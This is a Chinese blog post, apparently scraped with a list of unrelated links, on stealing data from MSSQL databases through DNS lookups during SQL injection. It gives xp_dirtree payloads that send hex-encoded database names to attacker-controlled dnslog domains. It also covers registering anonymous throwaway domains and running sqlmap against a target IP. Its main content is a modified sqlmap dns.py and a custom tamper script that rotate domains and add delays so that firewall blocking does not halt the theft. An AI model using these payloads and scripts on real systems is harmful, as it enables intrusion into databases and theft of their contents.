Data Exfiltration with DNS in MSSQL SQLi attacks
DNS解析过程
DNS解析过程
DNS 查询的过程如下图1所示。

图1
文字举例说明:
假定浏览器想知道域名xprp8i.dnslog.cn的IP地址。
1、浏览器先向本地DNS服务器进行递归查询。
2、本地域名服务器采用迭代查询。它先向一个根域名服务器查询。
3、根域名服务器告诉本地DNS服务器,下一次应查询的顶级域名服务器a.dns.cn的IP地址。
4、本地域名服务器向顶级域名服务器a.dns.cn进行查询。
5、顶级域名服务器dns.cn告诉本地域名服务器,下一步应查询的权限服务器ns1.dnslog.cn的IP地址。
6、本地域名服务器向权限域名服务器ns1.dnslog.cn进行查询。
7、权限域名服务器ns1.dnslog.cn告诉本地域名服务器,xprp8i.dnslog.cn的IP地址。
8、本地域名服务器最后把查询结果告诉浏览器。
递归查询
从客户端到本地DNS服务器是属于递归查询。
迭代查询
DNS服务器之间的交互查询就是迭代查询。本地使用nslookup模拟一下这个过程,以查询xprp8i.dnslog.cn为例。
1、将DNS请求发送至其中一台根DNS服务器。
根DNS服务器收到请求后会判断这个域名(.cn)是谁来授权管理,并会返回负责该顶级域名的NS记录。
命令:
nslookup -q=a xprp8i.dnslog.cn 198.41.0.4
应答:
in-addr.arpa nameserver = e.in-addr-servers.arpa
in-addr.arpa nameserver = f.in-addr-servers.arpa
in-addr.arpa nameserver = d.in-addr-servers.arpa
in-addr.arpa nameserver = c.in-addr-servers.arpa
in-addr.arpa nameserver = b.in-addr-servers.arpa
in-addr.arpa nameserver = a.in-addr-servers.arpa
e.in-addr-servers.arpa internet address = 203.119.86.101
e.in-addr-servers.arpa AAAA IPv6 address = 2001:dd8:6::101
f.in-addr-servers.arpa internet address = 193.0.9.1
f.in-addr-servers.arpa AAAA IPv6 address = 2001:67c:e0::1
d.in-addr-servers.arpa internet address = 200.10.60.53
d.in-addr-servers.arpa AAAA IPv6 address = 2001:13c7:7010::53
c.in-addr-servers.arpa internet address = 196.216.169.10
c.in-addr-servers.arpa AAAA IPv6 address = 2001:43f8:110::10
b.in-addr-servers.arpa internet address = 199.253.183.183
b.in-addr-servers.arpa AAAA IPv6 address = 2001:500:87::87
a.in-addr-servers.arpa internet address = 199.180.182.53
a.in-addr-servers.arpa AAAA IPv6 address = 2620:37:e000::53
Server: UnKnown
Address: 198.41.0.4
Name: xprp8i.dnslog.cn
Served by:
- a.dns.cn
203.119.25.1
2001:dc7::1
cn
- b.dns.cn
203.119.26.1
cn
- c.dns.cn
203.119.27.1
cn
- d.dns.cn
203.119.28.1
2001:dc7:1000::1
cn
- e.dns.cn
203.119.29.1
cn
- f.dns.cn
195.219.8.90
cn
- g.dns.cn
66.198.183.65
cn
- ns.cernet.net
202.112.0.44
Cn
2、向其中一台负责cn顶级域的DNS服务器发起请求
命令:
nslookup -q=a xprp8i.dnslog.cn 195.219.8.90
应答:
DNS request timed out.
timeout was 2 seconds.
Server: UnKnown
Address: 195.219.8.90
DNS request timed out.
timeout was 2 seconds.
Name: xprp8i.dnslog.cn
Served by:
- ns1.dnslog.cn
47.244.138.18
dnslog.cn
- ns2.dnslog.cn
47.244.138.18
dnslog.cn
3、向其中一台负责dnslog.cn二级域的DNS服务器发起请求
最终,经查询得到了xprp8i.dnslog.cn对应的IP地址(此处是127.0.0.1)
命令:
nslookup -q=a xprp8i.dnslog.cn 47.244.138.18
应答:
Server: UnKnown
Address: 47.244.138.18
Non-authoritative answer:
Name: xprp8i.dnslog.cn
Address: 127.0.0.1
参考:
https://www.zhihu.com/question/23042131
https://zhidao.baidu.com/question/424525391971643892.html
DNS隧道测试
工具:
点击“Get SubDomain”获取域名,点击“Refresh Record”查看请求记录。
SQL语句:
declare @host varchar(800);
select @host = 'test.k8xdu5.dnslog.cn';
exec ('master..xp_dirtree "\\'+@host+'\foobar$"');
使用SQL SERVER MANAGEMENT STUDIO新建查询

图3
如果刷新后可以看到我们提交的查询数据,说明DNS请求可以出得来,可进一步利用。

图4
自行搭建dnslog
注意:IP地址需要与注册信息中的国家相符合,否则注册失败。
网址:http://www.Freenom.com
1、先检测待注册域名的可用性。

2、注册的时候,在DNS选项中,选择使用自己的DNS,新建DNS服务器的地址,例如我这里自定义了两个dns服务器,分别是ns0.nogan.ga和ns1.nogan.ga,并且将他们的地址指向我的VPS服务器。

3、点击Continue,进入到结算页面。
如果你上一步没有注册用户,那么可以直接在这里填你用来注册用户的邮箱,然后根据指引进行操作。如果注册了用户,只需要直接登录就可以了。

4、进入到Review and Checkout页面,填入一些你的基本信息就可以了

5、这里记得勾选Lock profile,你的信息就不会被whois查询到了。接着下一步,勾选Complate Order,域名就注册成功了。

6、部署DNS服务
登录你的VPS服务器,运行下面这个python脚本,将在你的VPS主机监听UDP 53端口,并且回复DNS响应包:
Dsn.py:
https://github.com/sqlmapproject/sqlmap/blob/master/lib/request/dns.py
7、执行ping命令测试 效果
看到结果说明成功。
Ping test.buyao2.ga

参考:
https://www.cnblogs.com/Chorder/p/9087386.html
SQLMAP实现分析
看看sqlmap是怎么处理-v 3查看payload:
DECLARE @host varchar(1024);
SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST
(SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS
VARBINARY(8000))) FROM master..sysdatabases WHERE name NOT IN
(SELECT TOP 4 name FROM master..sysdatabases ORDER BY name) ORDER BY
name)+'.Nrz.rainism.cc';
EXEC('master..xp_dirtree "\\'+@host+'\cCkc"');
知识点
1、通过在域名中添加随机字符串'rMy','Nrz'确保每次查询dns不存在缓存。
2、通过使用substring()函数每次传输特定位数的数据,防止UNC路径超过128个字符,导致错误。
3、通过使用master.dbo.fn_varbintohexstr()存储过程对获得数据进行16进制编码,防止出现非法字符导致语法错误,查询失败。
Sql语句
sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --dns-domain yourdomain.online
实战中遇到的问题
问题描述
大概率由于对方防火墙的原因,当获取20条左右的数据时lib\request\dns.py文件就出现以下错误,之后就获取不到数据了,然后歇会几分钟后,重新再来又可以获取到数据了。推测可能是访问频繁,导致域名被暂时封堵。
[Error 10054] An exiting connection was forcibly closed by the remote host
对策
申请多个域名,反正freenom.com免费申请,然后写个tamper随机选择域名。我申请了10个域名,效果是,还会报错但是能撑到100条这样。继续改进,捕获dns.py产生的sock error 10054错误,并且当出错的时候,通过waitfor delay语句进行延时注入。所以最终方案是,修改了dns.py和添加了一个tamper。完美解决,能一次性获取到上千条不中断了,就算出错也能较快恢复,执行完sqlmap一觉醒来,就收获满满了。
使用
sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --dns-domain dnslog.cn -t 8 --random-agent --tamper randomdns
Dns.py
#!/usr/bin/env python """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
""" import os
import re
import socket
import threading
import time class DNSQuery(object):
"""
Used for making fake DNS resolution responses based on received
raw request Reference(s):
http://code.activestate.com/recipes/491264-mini-fake-dns-server/
https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
""" def __init__(self, raw):
self._raw = raw
self._query = "" type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query
i = 12
j = ord(raw[i]) while j != 0:
self._query += raw[i + 1:i + j + 1] + '.'
i = i + j + 1
j = ord(raw[i]) def response(self, resolution):
"""
Crafts raw DNS resolution response packet
""" retVal = "" if self._query:
retVal += self._raw[:2] # Transaction ID
retVal += "\x85\x80" # Flags (Standard query response, No error)
retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts
retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query
retVal += "\xc0\x0c" # Pointer to domain name
retVal += "\x00\x01" # Type A
retVal += "\x00\x01" # Class IN
retVal += "\x00\x00\x00\x20" # TTL (32 seconds)
retVal += "\x00\x04" # Data length
retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal class DNSServer(object):
def __init__(self):
socket.setdefaulttimeout(20)
self._check_localhost()
self._requests = []
self._lock = threading.Lock()
try:
self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
except AttributeError:
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._socket.bind(("", 53))
self._running = False
self._initialized = False def _check_localhost(self):
response = ""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("", 53))
s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex")) # A www.google.com
response = s.recv(512)
except:
pass
finally:
if response and "google" in response:
raise socket.error("another DNS service already running on *:53") def pop(self, prefix=None, suffix=None):
"""
Returns received DNS resolution request (if any) that has given
prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)
""" retVal = None with self._lock:
for _ in self._requests:
if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I):
retVal = _
self._requests.remove(_)
break return retVal def run(self):
"""
Runs a DNSServer instance as a daemon thread (killed by program exit)
""" def _():
try:
self._running = True
self._initialized = True while True:
#改了这里
try:
data, addr = self._socket.recvfrom(1024)
_ = DNSQuery(data)
self._socket.sendto(_.response("127.0.0.1"), addr)
with self._lock:
self._requests.append(_._query)
fo = open('C:/Users/Administrator/Desktop/sqlmap-1.3/tamper/randomdns.txt', "w")
fo.write("OK")
fo.close()
except socket.error as error:
print(error)
fo = open('C:/Users/Administrator/Desktop/sqlmap-1.3/tamper/randomdns.txt', "w")
fo.write("Error")
fo.close()
time.sleep(1)
#改了这里
except KeyboardInterrupt:
raise finally:
self._running = False thread = threading.Thread(target=_)
thread.daemon = True
thread.start() if __name__ == "__main__":
server = None
try:
server = DNSServer()
server.run() while not server._initialized:
time.sleep(0.1) while server._running:
while True:
_ = server.pop() if _ is None:
break
else:
print "[i] %s" % _ time.sleep(1) except socket.error, ex:
if 'Permission' in str(ex):
print "[x] Please run with sudo/Administrator privileges"
else:
raise
except KeyboardInterrupt:
os._exit(0)
finally:
if server:
server._running = False
Randomdns.py(tamper)
#!/usr/bin/env python """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
""" import re
import random
import os from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies():
pass def tamper(payload, **kwargs):
""" Tested against:
* Microsoft SQL Server 2008 """ retVal = payload
domain_list = ['domain1.ga','domain2.ga','domain3.tk','domain4.tk','domain5.gq','domain16.tk','domain7.ml','domain8.ga','domain9.cf','domain10.gq']
domain = random.choice(domain_list)
domain = ''.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], 3)) + '.' + domain
waitstr = " waitfor delay '0:0:0:MilliSeconds' --"
filename = 'C:/Users/Administrator/Desktop/sqlmap-1.3/tamper/randomdns.txt'
if os.path.exists(filename):
fo = open(filename, "r")
msg = fo.read()
fo.close()
if msg == "Error":
waitstr = " waitfor delay '0:0:10:MilliSeconds' --"
else:
waitstr = " waitfor delay '0:0:0:MilliSeconds' --" ms = str(random.randint(1,999))
waitstr = re.sub('MilliSeconds',ms,waitstr)
if payload:
retVal = re.sub('dnslog.cn',domain,payload)
retVal = re.sub('--',waitstr,retVal)
return retVal
转载请注明出处。
Data Exfiltration with DNS in MSSQL SQLi attacks的更多相关文章
- sqlmap中文手册
Sqlmap中文手册 -Darren制作 零.前言 Sqlmap是十分著名的.自动化的SQL注入工具.为了较为系统地学习Sqlmap,我决定翻译一遍Sqlmap的用户手册,于是便有了此文.由于我英语 ...
- sqlmap的使用
安全测试===sqlmap(壹)转载 六.优化 这些参数可以优化Sqlmap的性能. 1.一键优化 参数:-o 添加此参数相当于同时添加下列三个优化参数: --keep-alive --null- ...
- 安全测试===sqlmap(壹)转载
六.优化 这些参数可以优化Sqlmap的性能. 1.一键优化 参数:-o 添加此参数相当于同时添加下列三个优化参数: --keep-alive --null-connection --threads= ...
- 安全测试===sqlmap(肆)转载
十八.杂项 1.使用简写 参数:-z 有些参数组合是被经常用到的,如“--batch --random-agent --ignore-proxy --technique=BEU”,这样写一大串很不好看 ...
- 一个DNS统计,RCFs,工具站点
RCFs http://www.statdns.com/rfc/ DNS resources A collection of DNS related resources DNS Servers Nam ...
- DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测
1. DNS隧道简介 DNS隧道技术是指利用 DNS协议建立隐蔽信 道,实现隐蔽数据传输.最早是在2004年 DanKaminsky 在 Defcon大会上发布的基于 NSTX 的 DNS隐蔽 隧道工 ...
- 记一次MSSQL到MySQL大数据迁移过程
工作中遇到一个需求 要将MSSQL数据库中共计12张表的数据大概1000W行数据迁移到MySQL数据库中,去年另一个同事负责这件事情,他采用的方法是先将MSSQL数据库里的数据生成同MySQL数据库表 ...
- python dns 服务器
import socketserver import struct import threading # DNS Query class SinDNSQuery: def __init__(self, ...
- PatentTips - Data Plane Packet Processing Tool Chain
BACKGROUND The present disclosure relates generally to systems and methods for providing a data plan ...
随机推荐
- <script language= "javascript " for= "window " event= "onload ">
狼-志 EVENT event 设置或获取脚本编写用于的事件 FOR htmlFor 设置或获取绑定到事件脚本的对象. 可以这样理解. <script language= ...
- django + ckeditor + 七牛云,图片上传到七牛云
传送门 本人使用的是 Django 的自带的管理后台,安装 ckeditor 富文本编辑器后,上传图片的时候直接传到七牛云的.
- ACM-ICPC 2017 西安赛区现场赛 K. LOVER II && LibreOJ#6062. 「2017 山东一轮集训 Day2」Pair(线段树)
题目链接:西安:https://nanti.jisuanke.com/t/20759 (计蒜客的数据应该有误,题目和 LOJ 的大同小异,题解以 LOJ 为准) LOJ:https://l ...
- BZOJ 2927: [Poi1999]多边形之战 (博弈)
题意 有一个凸多边形,顶点编号逆时针从0到n-1.现在这个n边形被剖分成n-2个三角形,给出这n-2个三角形的顶点,保证这是用n-3条不交叉的对角线划分出来的.现在第一个三角形是黑色,其他都是白色.两 ...
- redis常见问题(转)
常见问题:1.为什么使用redis(一)性能我们在碰到需要执行耗时特别久,且结果不频繁变动的SQL,就特别适合将运行结果放入缓存.这样,后面的请求就去缓存中读取,使得请求能够迅速响应.(二)并发在大并 ...
- Semantic 导航条
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> ...
- vue项目实现详情页后退缓存之前的数据
vue项目实现详情页后退缓存之前的数据 2019年02月19日 14:54:57 不想写代码的程序员 阅读数:244 一.需要缓存的内容: 1.后退缓存条件查询的数据 2.后退缓存分页信息 二.实 ...
- Could not load file or assembly "\win32_x86\dotnet1\crdb_adoplus.dll' or one of its dependencies.
Could not load file or assembly 'file:///C:\Program Files (x86)\SAP BusinessObjects\Crystal Repor ...
- linux系统编程--进程间通信
IPC方法 Linux环境下,进程地址空间相互独立,每个进程各自有不同的用户地址空间.任何一个进程的全局变量在另一个进程中都看不到,所以进程和进程之间不能相互访问, 要交换数据必须通过内核,在内核中开 ...
- 0和5 (51Nod)
小K手中有n张牌,每张牌上有一个一位数的数,这个字数不是0就是5.小K从这些牌在抽出任意张(不能抽0张),排成一行这样就组成了一个数.使得这个数尽可能大,而且可以被90整除. 注意: 1.这个数没有前 ...